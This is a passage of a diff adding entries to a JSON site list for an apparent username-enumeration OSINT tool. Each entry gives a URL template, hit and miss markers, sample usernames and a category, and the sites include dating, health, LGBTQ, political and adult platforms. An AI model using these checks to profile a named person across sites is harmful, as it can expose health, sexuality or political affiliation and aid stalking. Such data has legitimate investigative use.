: "https://mcname.info/en/search?q={account}", + "e_code" : 200, + "e_string" : "card mb-3 text-monospace", + "m_string" : "alert alert-success px-0 py-1", + "m_code" : 200, + "known" : ["unrevive", "nxtuny"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "MCUUID (Minecraft)", + "uri_check" : "https://playerdb.co/api/player/minecraft/{account}", + "uri_pretty" : "https://mcuuid.net/?q={account}", + "e_code" : 200, + "e_string" : "Successfully found player by given ID.", + "m_string" : "minecraft.api_failure", + "m_code" : 200, + "known" : ["smithy", "bob"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Mediakits", + "uri_check" : "https://restapi.mediakits.com/mediakits/{account}", + "uri_pretty" : "https://app.mediakits.com/{account}", + "e_code" : 200, + "e_string" : "displayName", + "m_code" : 404, + "m_string" : "The requested media kit does not exist.", + "known" : ["kasuminee", "honey"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Medium", + "uri_check" : "https://{account}.medium.com/about", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "Medium member since", + "m_string" : "Out of nothing, something", + "m_code" : 404, + "known" : ["zulie", "jessicalexicus"], + "cat" : "news", + "valid" : true + }, + { + "name" : "medyczka.pl", + "uri_check" : "http://medyczka.pl/user/{account}", + "e_code" : 200, + "e_string" : "Lista uzytkownikow", + "m_string" : "This user has not registered and therefore does not have a profile to view.", + "m_code" : 200, + "known" : ["test", "janek"], + "cat" : "health", + "valid" : true + }, + { + "name" : "meet me", + "uri_check" : "https://www.meetme.com/{account}", + "e_code" : 200, + "e_string" : "Meet people like ", + "m_string" : "<title>MeetMe - Chat and Meet New People</title", + "m_code" : 302, + "known" : ["john", "marsha"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "megamodels.pl", + "uri_check" : "http://megamodels.pl/{account}", + "e_code" : 200, + "e_string" : "Portfolio", + "m_string" : "OSTATNIO AKTYWNE PROFILE", + "m_code" : 200, + "known" : ["ania", "janek"], + "cat" : "social", + "valid" : true + }, + { + "name" : "memrise", + "uri_check" : "https://app.memrise.com/user/{account}/", + "e_code" : 200, + "e_string" : "followers", + "m_string" : "Memrise - Error", + "m_code" : 404, + "known" : ["alice", "john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Mastodon-meow.social", + "uri_check" : "https://meow.social/@{account}", + "e_code" : 200, + "e_string" : "- the mastodon instances for creatures", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["meow", "novra"], + "cat" : "social", + "valid" : true + }, + { + "name" : "message_me", + "uri_check" : "https://mssg.me/{account}", + "e_code" : 200, + "e_string" : "_id", + "m_string" : "404", + "m_code" : 404, + "known" : ["sue", "david"], + "cat" : "social", + "valid" : true + }, + { + "name" : "metacritic", + "uri_check" : "https://www.metacritic.com/user/{account}", + "e_code" : 200, + "e_string" : "'s Profile - Metacritic", + "m_string" : "Sign up to get your own profile - Metacritic</", + "m_code" : 200, + "known" : ["dev", "matt"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Microsoft Technet Community", + "uri_check" : "https://social.technet.microsoft.com/profile/{account}/", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "The resource you are looking for has been removed", + "m_code" : 404, + "known" : ["john", "test"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Minds", + "uri_check" : "https://www.minds.com/{account}/", + "e_code" : 200, + "e_string" : ") | Minds", + "m_string" : "Sorry, this channel doesn't appear to exist", + "m_code" : 404, + "known" : ["Willieleev1971", "john"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Minecraft List", + "uri_check" : "https://minecraftlist.com/players/{account}", + "e_code" : 200, + "e_string" : "-->was seen on", + "m_string" : "", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Myspreadshop", + "uri_check" : "https://myspreadshop.de/{account}/shopData/list", + "uri_pretty" : "https://{account}.myspreadshop.com", + "e_code" : 200, + "e_string" : "siteName", + "m_code" : 404, + "m_string" : "not found", + "known" : ["arukori", "honey"], + "cat" : "business", + "valid" : true + }, + { + "name" : "naija_planet", + "uri_check" : "https://naijaplanet.com/{account}", + "e_code" : 200, + "e_string" : "dating Profile, ", + "m_string" : "- NaijaPlanet!", + "m_code" : 200, + "known" : ["daniel01", "wales73"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "nairaland", + "uri_check" : "https://www.nairaland.com/{account}", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "404: Page Not Found", + "m_code" : 301, + "known" : ["amakaone", "seun"], + "cat" : "news", + "valid" : true + + }, + { + "name" : "NaturalNews", + "uri_check" : "https://naturalnews.com/author/{account}/", + "e_code" : 200, + "e_string" : "All posts by", + "m_string" : "The page you are looking for cannot be found or is no longer available.", + "m_code" : 200, + "known" : ["jdheyes", "healthranger"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Naver", + "uri_check" : "https://blog.naver.com/{account}", + "e_code" : 200, + "e_string" : " : 네이버 블로그", + "m_string" : "페이지를 찾을 수 없습니다", + "m_code" : 500, + "known" : ["bob", "blue"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Neocities", + "uri_check" : "https://neocities.org/site/{account}", + "e_code" : 200, + "e_string" : "noindex, follow", + "m_string" : "- Not Found", + "m_code" : 404, + "known" : ["fauux", "sadgrl"], + "cat" : "social", + "valid" : true + }, + { + "name" : "netvibes", + "uri_check" : "https://www.netvibes.com/{account}", + "e_code" : 200, + "e_string" : "userId", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["nebkacrea", "cdiljda"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Newgrounds", + "uri_check" : "https://{account}.newgrounds.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "fans", + "m_string" : "Whoops, that's a swing and a miss!", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "newmeet", + "uri_check" : "https://www.newmeet.com/en/profile/{account}", + "e_code" : 200, + "e_string" : "The profile of", + "m_string" : ", , , - |", + "m_code" : 200, + "known" : ["mamadou1", "wade"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "nihbuatjajan", + "uri_check" : "https://www.nihbuatjajan.com/{account}", + "e_code" : 200, + "e_string" : ") | Nih buat jajan", + "m_string" : "Nih Buat Jajan", + "m_code" : 302, + "known" : ["banyusadewa", "danirachmat"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Nitecrew (Mastodon Instance)", + "uri_check" : "https://nitecrew.rip/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://nitecrew.rip/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["Myxx", "honey"], + "cat" : "social", + "valid" : true + }, + { + "name" : "nnru", + "uri_check" : "https://{account}.www.nn.ru", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : " ", + "m_string" : "<title>Ошибка 404 -", + "m_code" : 404, + "known" : ["lena", "slava"], + "cat" : "social", + "valid" : true + }, + { + "name" : "NotABug", + "uri_check" : "https://notabug.org/{account}", + "e_code" : 200, + "e_string" : "followers and is following", + "m_string" : "Not Found", + "m_code" : 404, + "known" : ["notabug", "hp", "zPlus"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Note", + "uri_check" : "https://note.com/{account}", + "e_code" : 200, + "e_string" : "フォロワー", + "m_code" : 404, + "m_string" : "お探しのページが見つかりません。", + "known" : ["honey", "yui"], + "cat" : "social", + "valid" : true + }, + { + "name" : "oglaszamy24h.pl", + "uri_check" : "https://oglaszamy24h.pl/profil,{account}", + "e_code" : 200, + "e_string" : "Profil użytkownika:", + "m_string" : "Nieprawidłowy link, w bazie danych nie istnieje użytkownik o podanym loginie", + "m_code" : 404, + "known" : ["kowal", "janek"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "ogu.gg", + "uri_check" : "https://ogu.gg/{account}", + "e_code" : 200, + "e_string" : "Username History", + "m_code" : 404, + "m_string" : "The member you specified is either invalid or doesn't exist.", + "known" : ["input", "maxwell"], + "cat" : "social", + "valid" : true + }, + { + "name" : "ok.ru", + "uri_check" : "https://ok.ru/{account}", + "e_code" : 200, + "e_string" : "| OK", + "m_string" : "This page does not exist on OK", + "m_code" : 404, + "known" : ["john", "aleksandrvasillev"], + "cat" : "social", + "valid" : true + }, + { + "name" : "okidoki", + "uri_check" : "https://m.okidoki.ee/ru/users/{account}/", + "e_code" : 200, + "e_string" : "Пользователь", + "m_string" : "Страница не найдена", + "m_code" : 404, + "known" : ["nastya3", "nastya"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "olx", + "uri_check" : "https://www.olx.pl/oferty/uzytkownik/{account}/", + "e_code" : 200, + "e_string" : "Obserwuj wyszukiwanie", + "m_string" : "Przepraszamy, ale nie możemy znaleźć takiej strony...", + "m_code" : 200, + "known" : ["janek", "test"], + "cat" : "shopping", + "valid" : false + }, + { + "name" : "omlet", + "uri_check" : "https://omlet.gg/profile/{account}", + "e_code" : 200, + "e_string" : "<title>Omlet Arcade -", + "m_string" : "Omlet Arcade", + "m_code" : 404, + "known" : ["hacker", "crypt0"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Opencollective", + "uri_check" : "https://opencollective.com/{account}", + "e_code" : 200, + "e_string" : "- Open Collective", + "m_string" : "Not Found", + "m_code" : 200, + "known" : ["john", "bob"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "opensource", + "uri_check" : "https://opensource.com/users/{account}", + "e_code" : 200, + "e_string" : "| Opensource.com", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["dave", "mike"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "OpenStreetMap", + "uri_check" : "https://www.openstreetmap.org/user/{account}", + "e_code" : 200, + "e_string" : "Mapper since:", + "m_string" : "does not exist", + "m_code" : 404, + "known" : ["kemkim"], + "cat" : "social", + "valid" : true + }, + { + "name" : "OPGG", + "uri_check" : "https://eune.op.gg/summoners/eune/{account}", + "e_code" : 200, + "e_string" : "- Summoner Stats - League of Legends", + "m_string" : "Guide - OP.GG", + "m_code" : 200, + "known" : ["xin", "carlos01"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Orbys", + "uri_check" : "https://orbys.net/{account}", + "e_code" : 200, + "e_string" : "profile_user_image", + "m_string" : "The page you are looking for cannot be found.", + "m_code" : 404, + "known" : ["txmustang302"], + "cat" : "social", + "valid" : true + }, + { + "name" : "osu!", + "uri_check" : "https://osu.ppy.sh/users/{account}", + "e_code" : 302, + "e_string" : "", + "m_string" : "User not found! ;_;", + "m_code" : 404, + "known" : ["stretches", "spiken8"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Our Freedom Book", + "uri_check" : "https://www.ourfreedombook.com/{account}", + "e_code" : 200, + "e_string" : "meta property=\"og:", + "m_string" : "Sorry, page not found", + "m_code" : 302, + "known" : ["DaveLipsky", "StarlaJene"], + "cat" : "social", + "valid" : true + }, + { + "name" : "ow.ly", + "uri_check" : "http://ow.ly/user/{account}", + "e_code" : 200, + "e_string" : "Images", + "m_string" : "404 error", + "m_code" : 404, + "known" : ["StopAdMedia", "jokervendetti"], + "cat" : "social", + "valid" : true + }, + { + "name" : "palnet", + "uri_check" : "https://www.palnet.io/@{account}", + "e_code" : 200, + "e_string" : " - PALnet", + "m_string" : "Unknown user account!", + "m_code" : 404, + "known" : ["abdul01", "hakim"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Parler", + "uri_check" : "https://parler.com/user/{account}", + "e_code" : 200, + "e_string" : "People to Follow", + "m_string" : "join Parler today", + "m_code" : 302, + "known" : ["DineshDsouza", "SeanHannity"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Parler archived profile", + "uri_check" : "http://archive.org/wayback/available?url=https://parler.com/profile/{account}", + "uri_pretty" : "https://web.archive.org/web/2/https://parler.com/profile/{account}", + "e_code" : 200, + "e_string" : "\"archived_snapshots\": {\"closest\"", + "m_string" : "\"archived_snapshots\": {}", + "m_code" : 200, + "known" : ["JoePags", "dineshdsouza"], + "cat" : "archived", + "valid" : true + }, + { + "name" : "Parler archived posts", + "uri_check" : "http://archive.org/wayback/available?url=https://parler.com/profile/{account}/posts", + "uri_pretty" : "https://web.archive.org/web/2/https://parler.com/profile/{account}/posts", + "e_code" : 200, + "e_string" : "\"archived_snapshots\": {\"closest\"", + "m_string" : "\"archived_snapshots\": {}", + "m_code" : 200, + "known" : ["JoePags", "dineshdsouza"], + "cat" : "archived", + "valid" : true + }, + { + "name" : "Pastebin", + "uri_check" : "https://pastebin.com/u/{account}", + "e_code" : 200, + "e_string" : "'s Pastebin", + "m_string" : "", + "m_code" : 404, + "known" : ["test", "john"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "patch", + "uri_check" : "https://patch.com/users/{account}", + "e_code" : 200, + "e_string" : "Patch User Profile", + "m_string" : "<title>Page not found", + "m_code" : 404, + "known" : ["dave", "bob"], + "cat" : "news", + "valid" : true + }, + { + "name" : "PatientsLikeMe", + "uri_check" : "https://www.patientslikeme.com/members/{account}", + "e_code" : 200, + "e_string" : "s profile | PatientsLikeMe", + "m_string" : "", + "m_code" : 302, + "known" : ["thjuland", "Pedro0703", "Hydropioneer"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Patreon", + "uri_check" : "https://www.patreon.com/{account}", + "e_code" : 200, + "e_string" : "full_name\":", + "m_string" : "errorCode\": 404,", + "m_code" : 404, + "known" : ["mubix", "doughboys"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Patriots Win", + "uri_check" : "https://patriots.win/u/{account}/", + "e_code" : 200, + "e_string" : "nav-user active register", + "m_string" : "An error occurred", + "m_code" : 500, + "known" : ["r3deleven", "MemeFactory"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Patronite", + "uri_check" : "https://patronite.pl/{account}", + "e_code" : 200, + "e_string" : "Zostań Patronem", + "m_string" : "Nie znaleźliśmy strony której szukasz.", + "m_code" : 404, + "known" : ["radio357", "radionowyswiat"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Paypal", + "uri_check" : "https://www.paypal.com/paypalme/{account}", + "e_code" : 200, + "e_string" : "userInfo", + "m_string" : "PayPal.MeFollowers", + "m_string" : "Sorry, this page doesn’t exist", + "m_code" : 404, + "known" : ["john", "test"], + "cat" : "video", + "valid" : true + }, + { + "name" : "Pettingzoo.co (Mastodon Instance)", + "uri_check" : "https://pettingzoo.co/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://pettingzoo.co/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["tyr", "Disbear"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Pewex", + "uri_check" : "https://retro.pewex.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zamieszcza eksponaty od:", + "m_string" : "Nie znaleziono użytkownika o podanym loginie.", + "m_code" : 200, + "known" : ["test", "ania"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Picsart", + "uri_check" : "https://picsart.com/u/{account}", + "post_body" : "", + "e_code" : 200, + "e_string" : "Profiles on Picsart", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["john", "john404"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Piekielni", + "uri_check" : "https://piekielni.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zamieszcza historie od:", + "m_string" : "Nie znaleziono użytkownika o podanym loginie.", + "m_code" : 200, + "known" : ["test", "janek"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "pikabu", + "uri_check" : "https://pikabu.ru/@{account}", + "e_code" : 200, + "e_string" : "— все посты пользователя", + "m_string" : "404. Страница не найдена", + "m_code" : 404, + "known" : ["igor01", "serguei"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Pillowfort", + "uri_check" : "https://www.pillowfort.social/{account}", + "e_code" : 200, + "e_string" : "", + "m_code" : 404, + "m_string" : "That page does not exist, or you do not have the proper permissions to view it.", + "known" : ["MissMoonified", "honey"], + "cat" : "social", + "valid" : true + }, + { + "name" : "PinkBike", + "uri_check" : "https://www.pinkbike.com/u/{account}/", + "e_code" : 200, + "e_string" : "on Pinkbike", + "m_string" : "I couldn't find the page you were looking for", + "m_code" : 404, + "known" : ["whistlermountainbikepark", "paulhanson"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Pinterest", + "uri_check" : "https://www.pinterest.com/{account}/", + "e_code" : 200, + "e_string" : " - Profile | Pinterest", + "m_string" : "Whoops! We couldn't find that page", + "m_code" : 404, + "known" : ["test123", "frickcollection"], + "cat" : "social", + "valid" : true + }, + { + "name" : "pixelfed.social", + "uri_check" : "https://pixelfed.social/{account}", + "e_code" : 200, + "e_string" : "on pixelfed", + "m_string" : "pixelfed", + "m_code" : 404, + "known" : ["sarah", "john"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Playstation Network", + "uri_check" : "https://psnprofiles.com/xhr/search/users?q={account}", + "e_code" : 200, + "e_string" : "
", + "m_string" : "We couldn't find anything ", + "m_code" : 200, + "known" : ["SlimShaggy18", "ikemenzi"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Plurk", + "uri_check" : "https://www.plurk.com/{account}", + "e_code" : 200, + "e_string" : "Profile views", + "m_string" : "Register your plurk account", + "m_code" : 200, + "known" : ["test"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Pokec", + "uri_check" : "https://pokec.azet.sk/{account}", + "post_body" : "", + "e_code" : 200, + "e_string" :"idReportedUser", + "m_string" : "Neexistujúci používateľ", + "m_code" : 404, + "known" : ["tobias", "brahim1"], + "cat" : "social", + "valid" : true + }, + { + "name" : "pokemonshowdown", + "uri_check" : "https://pokemonshowdown.com/users/{account}", + "e_code" : 200, + "e_string" : "Official ladder", + "m_string" : " (Unregistered)", + "m_code" : 404, + "known" : ["red", "blue"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Pokerstrategy", + "uri_check" : "http://www.pokerstrategy.net/user/{account}/profile/", + "e_code" : 200, + "e_string" : "User profile for", + "m_string" : "Sorry, the requested page couldn't be found!", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Polchat.pl", + "uri_check" : "https://polczat.pl/forum/profile/{account}/", + "e_code" : 200, + "e_string" : "Historia wpisów", + "m_string" : "Wybrany użytkownik nie istnieje.", + "m_code" : 200, + "known" : ["test","admin"], + "cat" : "social", + "valid" : true + }, + { + "name" : "policja2009", + "uri_check" : "http://www.policja2009.fora.pl/search.php?search_author={account}", + "e_code" : 200, + "e_string" : "Znaleziono", + "m_string" : "Nie znaleziono tematów ani postów pasujących do Twoich kryteriów", + "m_code" : 200, + "known" : ["Pvwel", "janek"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Poll Everywhere", + "uri_check" : "https://pollev.com/proxy/api/users/{account}", + "uri_pretty" : "https://pollev.com/{account}", + "e_code" : 200, + "e_string" : "name", + "m_string" : "ResourceNotFound", + "m_code" : 404, + "known" : ["josh", "jsmith"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Mastodon-pol.social", + "uri_check" : "https://pol.social/@{account}", + "e_code" : 200, + "e_string" : "@pol.social", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["ftdl", "ducensor"], + "cat" : "social", + "valid" : true + }, + { + "name" : "polygon", + "uri_check" : "https://www.polygon.com/users/{account}", + "e_code" : 200, + "e_string" : "- Polygon", + "m_string" : "404 Not found", + "m_code" : 404, + "known" : ["nicodeyo", "Nicole_Clark"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "popl", + "uri_check" : "https://poplme.co/{account}", + "e_code" : 200, + "e_string" : "MuiTypography-root MuiTypography-body1 css-kj7pvm", + "m_string" : "Profile not found", + "m_code" : 200, + "known" : ["rpelite","Ee0af3d822","ashleymetzger"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Pornhub Porn Stars", + "uri_check" : "https://www.pornhub.com/pornstar/{account}", + "e_code" : 200, + "e_string" : "Pornstar Rank", + "m_string" : "", + "m_code" : 301, + "known" : ["riley-reid", "alex-adams"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Pornhub Users", + "uri_check" : "https://www.pornhub.com/users/{account}", + "e_code" : 200, + "e_string" : "s Profile - Pornhub.com", + "m_string" : "Error Page Not Found", + "m_code" : 404, + "known" : ["test123"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Poshmark", + "uri_check" : "https://poshmark.com/closet/{account}", + "e_code" : 200, + "e_string" : " is using Poshmark to sell items from their closet.", + "m_string" : "Page not found - Poshmark", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "postcrossing", + "uri_check" : "https://www.postcrossing.com/user/{account}", + "e_code" : 200, + "e_string" : ", from", + "m_string" : "- Postcrossing", + "m_code" : 404, + "known" : ["Vladimir", "olga3"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Poweredbygay.social (Mastodon Instance)", + "uri_check" : "https://poweredbygay.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://poweredbygay.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["aggiepm", "eplumley1976"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Pravda.me", + "uri_check" : "https://pravda.me/@{account}", + "e_code" : 200, + "e_string" : "Российская социальная сеть (by mastodon)", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["tass", "rt_russian"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Producthunt", + "uri_check" : "https://www.producthunt.com/@{account}", + "e_code" : 200, + "e_string" : "s profile on Product Hunt", + "m_string" : "Product Hunt - All newest Products", + "m_code" : 404, + "known" : ["alex", "jack"], + "cat" : "business", + "valid" : true + }, + { + "name" : "promodj", + "uri_check" : "https://promodj.com/{account}", + "e_code" : 200, + "e_string" : "Favorite styles", + "m_string" : "Page not found :(", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Pronouns.Page", + "uri_check" : "https://pronouns.page/api/profile/get/{account}?version=2", + "e_code" : 200, + "e_string" : "username", + "m_string" : "\"profiles\": {}", + "m_code" : 304, + "known" : ["cannabis_cervi", "user"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Pronouny", + "uri_check" : "https://pronouny.xyz/api/users/profile/username/{account}", + "e_code" : 200, + "e_string" : "username", + "m_code" : 400, + "m_string" : "That user doesn't exist", + "known" : ["test", "honey"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Prose", + "uri_check" : "https://prose.astral.camp/{account}/", + "e_code" : 200, + "e_string" : "blog-title", + "m_code" : 404, + "m_string" : "Are you sure it was ever here?", + "known" : ["endeavorance", "overthinkification"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "prv.pl", + "uri_check" : "https://www.prv.pl/osoba/{account}", + "e_code" : 200, + "e_string" : "LOGIN", + "m_string" : "Użytkownik nie istnieje.", + "m_code" : 200, + "known" : ["test", "test2"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Psstaudio", + "uri_check" : "https://psstaudio.com/u/{account}", + "e_code" : 200, + "e_string" : "id=\"profile_picture\"", + "m_code" : 404, + "m_string" : "We know you were looking for something, but it is not here", + "known" : ["JayeWilde", "baxter"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "public", + "uri_check" : "https://public.com/@{account}", + "e_code" : 200, + "e_string" : ") Investment Portfolio on Public", + "m_string" : "04 - Page Not Found - Public ", + "m_code" : 404, + "known" : ["igor1", "david2"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "pypi", + "uri_check" : "https://pypi.org/user/{account}/", + "e_code" : 200, + "e_string" : "Profile of", + "m_string" : "Page Not Found (404) · PyPI", + "m_code" : 404, + "known" : ["dev", "pydude"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "QUEER", + "uri_check" : "https://queer.pl/user/{account}", + "e_code" : 200, + "e_string" : "Społeczność", + "m_string" : "Strona nie została znaleziona", + "m_code" : 404, + "known" : ["test", "kowalski"], + "cat" : "social", + "valid" : true + }, + { + "name" : "quitter.pl", + "uri_check" : "https://quitter.pl/profile/{account}", + "e_code" : 200, + "e_string" : "@quitter.pl", + "m_string" : "Nie znaleziono", + "m_code" : 404, + "known" : ["divmod", "panoptykon"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Quora", + "uri_check" : "https://www.quora.com/profile/{account}", + "e_code" : 200, + "e_string" : "Credentials", + "m_string" : "Page Not Found", + "m_code" : 301, + "known" : ["John-Galan-5", "Alex-Clay"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Raddle.me", + "uri_check" : "https://raddle.me/user/{account}", + "e_code" : 200, + "e_string" : "sidebar__title", + "m_code" : 404, + "m_string" : "404 Not Found", + "known" : ["zephyr", "Archaplain"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Rant.li", + "uri_check" : "https://www.rant.li/{account}/", + "e_code" : 200, + "e_string" : "blog-title", + "m_code" : 404, + "m_string" : "Are you sure it was ever here?", + "known" : ["baretri", "arinbasu"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "ReblogMe", + "uri_check" : "https://{account}.reblogme.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "blogbody", + "m_string" : "Sorry, seems that blog doesn't exist", + "m_code" : 200, + "known" : ["staff", "chicken"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Refsheet", + "uri_check" : "https://refsheet.net/{account}", + "e_code" : 200, + "e_string" : "og:title", + "m_code" : 404, + "m_string" : "That's unfortunate. Where did it go?", + "known" : ["razzyaurealis", "saki"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "redbubble", + "uri_check" : "https://www.redbubble.com/people/{account}/shop", + "e_code" : 200, + "e_string" : "Shop | Redbubble", + "m_string" : "This is a lost cause.", + "m_code" : 404, + "known" : ["john", "blue"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Reddit", + "uri_check" : "https://www.reddit.com/user/{account}/about/.json", + "uri_pretty" : "https://www.reddit.com/user/{account}", + "e_code" : 200, + "e_string" : "total_karma", + "m_string" : "Not Found", + "m_code" : 404, + "known" : ["koavf", "alabasterheart"], + "cat" : "social", + "valid" : true + }, + { + "name" : "REDGIFS", + "uri_check" : "https://api.redgifs.com/v1/users/{account}", + "uri_pretty" : "https://www.redgifs.com/users/{account}", + "e_code" : 200, + "e_string" : "followers", + "m_string" : "user account not found for ", + "m_code" : 404, + "known" : ["alexbreecooper", "Jose-Roberto-Rasi"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Researchgate", + "uri_check" : "https://www.researchgate.net/profile/{account}", + "e_code" : 200, + "e_string" : " | ", + "m_string" : "20+ million researchers on ResearchGate", + "m_code" : 301, + "known" : ["Tafara-Mwareya", "Jose-Roberto-Rasi"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "resumes_actorsaccess", + "uri_check" : "https://resumes.actorsaccess.com/{account}", + "e_code" : 200, + "e_string" : "- Resume | Actors Access", + "m_string" : "File was not found on this SERVER", + "m_code" : 200, + "known" : ["veronicashelby", "sarahstipe"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Revolut", + "uri_check" : "https://revolut.me/api/web-profile/{account}", + "uri_pretty" : "https://revolut.me/{account}", + "e_code" : 200, + "e_string" : "\"firstName\"", + "m_code" : 404, + "m_string" : "\"User not found\"", + "known" : ["theaswdc", "honey"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Mastodon-rigcz.club", + "uri_check" : "https://rigcz.club/@{account}", + "e_code" : 200, + "e_string" : "@rigcz.club", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["blazej", "adam"], + "cat" : "social", + "valid" : true + }, + { + "name" : "risk.ru", + "uri_check" : "https://risk.ru/people/{account}", + "e_code" : 200, + "e_string" : "— Люди — Risk.ru", + "m_string" : "404 — Risk.ru", + "m_code" : 404, + "known" : ["igor1", "olga"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Roblox", + "uri_check" : "https://auth.roblox.com/v1/usernames/validate?username={account}&birthday=2019-12-31T23:00:00.000Z", + "uri_pretty" : "https://www.roblox.com/search/users?keyword={account}", + "e_code" : 200, + "e_string" : "Username is already in use", + "m_string" : "Username is valid", + "m_code" : 200, + "known" : ["LeetPawn", "elephant459"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "RoutineHub", + "uri_check" : "https://routinehub.co/user/{account}", + "e_code" : 200, + "e_string" : "Downloads: ", + "m_string" : "A community for Apple Shortcuts", + "m_code" : 200, + "known" : ["zachary7829", "JonathanSetzer"], + "cat" : "social", + "valid" : true + }, + { + "name" : "rsi", + "uri_check" : "https://robertsspaceindustries.com/citizens/{account}", + "e_code" : 200, + "e_string" : "CITIZEN DOSSIER", + "m_string" : "404 NAVIGATING UNCHARTED TERRITORY", + "m_code" : 404, + "known" : ["alpHackeronee", "Quantum_Physicist"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "ru_123rf", + "uri_check" : "https://ru.123rf.com/profile_{account}", + "e_code" : 200, + "e_string" : "- 123RF", + "m_string" : "Векторы, Видеоролики. Подписка", + "m_code" : 302, + "known" : ["ruslan", "olga"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "RumbleChannel", + "uri_check" : "https://rumble.com/c/{account}", + "e_code" : 200, + "e_string" : "href=https://rumble.com/c/", + "m_string" : "404 - Not found", + "m_code" : 404, + "known" : ["HodgeTwins", "SeanHannity"], + "cat" : "political", + "valid" : true + }, + { + "name" : "RumbleUser", + "uri_check" : "https://rumble.com/user/{account}", + "e_code" 